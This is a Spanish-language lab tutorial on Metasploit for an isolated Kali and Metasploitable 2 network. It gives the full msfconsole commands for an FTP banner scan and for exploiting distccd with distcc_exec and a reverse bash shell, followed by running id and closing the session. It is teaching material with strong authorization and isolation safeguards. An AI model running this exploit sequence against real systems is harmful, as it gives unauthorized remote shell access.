1 · El flujo: evidencia, módulo, opciones y resultado
Metasploit Framework es una plataforma modular para validar vulnerabilidades. No sustituye el análisis: ayuda a convertir una hipótesis concreta —servicio, versión y condición vulnerable— en una prueba reproducible. El orden correcto es identificar, leer, configurar, comprobar, ejecutar lo mínimo y cerrar.
servicio observado → módulo candidato → info y targetsopciones requeridas → check → decisión de paradarun autorizado → evidencia mínima → cierre y restauraciónAuxiliary
Realiza una tarea como descubrimiento, enumeración o validación sin ser un exploit. Su impacto depende de cada módulo.
Exploit
Aprovecha una debilidad para alcanzar una capacidad concreta. El nombre del módulo no demuestra que cualquier host sea vulnerable.
Payload
Es la acción que el exploit intenta ejecutar después de funcionar. Debe ser compatible con módulo, plataforma y arquitectura.
Handler y sesión
El handler gestiona la conexión esperada por ciertos payloads; una sesión representa el canal abierto con el objetivo.
Post
Opera sobre una sesión ya abierta. Queda fuera de este ejercicio porque un primer acceso no autoriza recolección ni persistencia.
Encoder y NOP
Resuelven restricciones de representación o memoria. Un encoder no convierte un payload en legítimo ni garantiza evasión antivirus.
2 · Prepara dos VM y una red sin salida
Usa una VM Kali actual y la imagen oficial de Metasploitable 2. En el hipervisor, crea una red interna o host-only y conecta exclusivamente esas dos VM. Desactiva adaptadores bridged y NAT antes de encender el objetivo. Toma una instantánea de ambas máquinas y asigna, o confirma, estas direcciones de laboratorio: 192.168.56.10 para Kali y 192.168.56.20 para el objetivo.
ip -br addressip routeping -c 2 192.168.56.20ifconfigroute -nps aux | grep '[d]istccd'El objetivo debe mostrar la IP inventariada y el proceso distccd. Una ruta por defecto hacia una red externa es motivo para apagar la VM y corregir el hipervisor. No uses descubrimiento amplio para «encontrarla»: confirma la dirección desde su propia consola.
- Kali y Metasploitable 2 son máquinas propias y desechables
- La red virtual es interna o host-only y contiene solo estas dos VM
- El objetivo no tiene adaptador NAT, bridged ni port forwarding
- Las IP 192.168.56.10 y 192.168.56.20 coinciden con el inventario
- Existe una instantánea anterior al ejercicio
- La evidencia se limitará a estado del módulo, apertura de sesión e identidad del usuario
3 · Inicia msfconsole y comprueba su base de datos
La práctica se ejecuta dentro de Kali. PostgreSQL permite conservar hosts, servicios y resultados; no es imprescindible para comprender un módulo, pero deja el entorno coherente con la documentación de Kali.
sudo apt updatesudo apt install -y metasploit-frameworksudo msfdb initmsfconsole -qversiondb_statushelpdb_status debe indicar conexión a PostgreSQL. Si no conecta, sal de la consola y ejecutasudo msfdb status; no uses reinit como primer intento porque elimina y reconstruye la base de datos de Metasploit.
4 · Aprende el ciclo con un módulo auxiliar
Antes de explotar, practica la mecánica con un único servicio conocido. El módulo de versión FTP consulta192.168.56.20:21; no recorre una subred ni intenta credenciales.
search type:auxiliary name:ftp_versionuse auxiliary/scanner/ftp/ftp_versioninfoshow optionsset RHOSTS 192.168.56.20set RPORT 21show missingrunback[+] 192.168.56.20:21 - FTP Banner: '220 (vsFTPd 2.3.4)'[*] 192.168.56.20:21 - Scanned 1 of 1 hosts[*] Auxiliary module execution completedEl banner es una observación declarada por el servicio, no prueba por sí solo una vulnerabilidad. Conserva dirección, puerto, módulo, hora y salida; la conclusión todavía requiere documentación del módulo y una comprobación compatible.
5 · Valida distcc y abre una sesión mínima
Rapid7 documenta exploit/unix/misc/distcc_exec con Metasploitable 2. Lee primero su descripción, referencias, objetivos y opciones. En este módulo, check no es pasivo: envía un comandoecho con un valor aleatorio y solo devuelve Vulnerable si recibe ese valor. Esa pequeña ejecución remota es la evidencia mínima y solo está permitida en esta VM desechable.
search type:exploit name:distccuse exploit/unix/misc/distcc_execinfoshow targetsshow payloadsshow optionsset RHOSTS 192.168.56.20set RPORT 3632set LHOST 192.168.56.10set PAYLOAD cmd/unix/reverse_bashshow missingcheckVulnerable
El módulo confirmó ejecución remota mediante su prueba. Verifica una vez más IP, red aislada y snapshot antes de continuar.
Appears o Detected
Hay indicios, no confirmación completa. No fuerces la ejecución; revisa versión, objetivo soportado y documentación.
Safe, Unknown o Unsupported
Detente. Puede no ser vulnerable, faltar evidencia o no existir método de comprobación. Cambiar de payload no corrige esa incertidumbre.
runidexitEl resultado esperado es una sesión de shell con el usuario de servicio, habitualmente daemon en Metasploitable 2. id demuestra el contexto sin leer archivos, credenciales ni procesos. Sal inmediatamente: la guía no continúa con Meterpreter, módulos post, migración, pivote ni persistencia.
6 · Errores, msfvenom y cierre del ejercicio
Exploit completed, no session
Revisa primero LHOST, rutas, payload compatible y servicio. No pruebes payloads al azar ni desactives controles del host.
Connection refused o timeout
Confirma desde la consola del objetivo que distccd escucha y que la IP es la inventariada. No amplíes el rango.
Missing options
Usa show missing y corrige solo el dato requerido. Evita setg en una primera práctica para no arrastrar valores a otros módulos.
msfvenom combina selección de payload, codificación y formato de salida. Aquí se usa únicamente para consultar su interfaz. No se generan ejecutables, scripts, reverse shells ni plantillas modificadas; un encoder atiende restricciones técnicas y no debe presentarse como método para evadir antivirus.
msfvenom --helpmsfvenom --list payloads | head -n 20msfvenom --list formats | head -n 20unset RHOSTSunset LHOSTunset PAYLOADbackexit -ysudo msfdb stopApaga Metasploitable 2 y restaura su instantánea. Conserva solo una nota saneada con módulo, opciones, resultado de check, apertura/cierre de la sesión y corrección: retirar el servicio vulnerable, actualizarlo y limitar su exposición. La VM seguirá siendo peligrosa mientras exista; no la conectes a una red compartida.
Glosario
Módulo
Unidad funcional de Metasploit que implementa una comprobación, explotación o tarea auxiliar.
Exploit
Módulo que aprovecha una condición vulnerable para provocar un resultado controlado.
Payload
Acción que se ejecuta después de que un exploit logra transferir el control.
Handler
Componente que prepara y gestiona la comunicación esperada de determinados payloads.
Sesión
Canal interactivo abierto por Metasploit tras una ejecución satisfactoria.
RHOSTS
Opción que identifica el objetivo o conjunto de objetivos autorizados del módulo.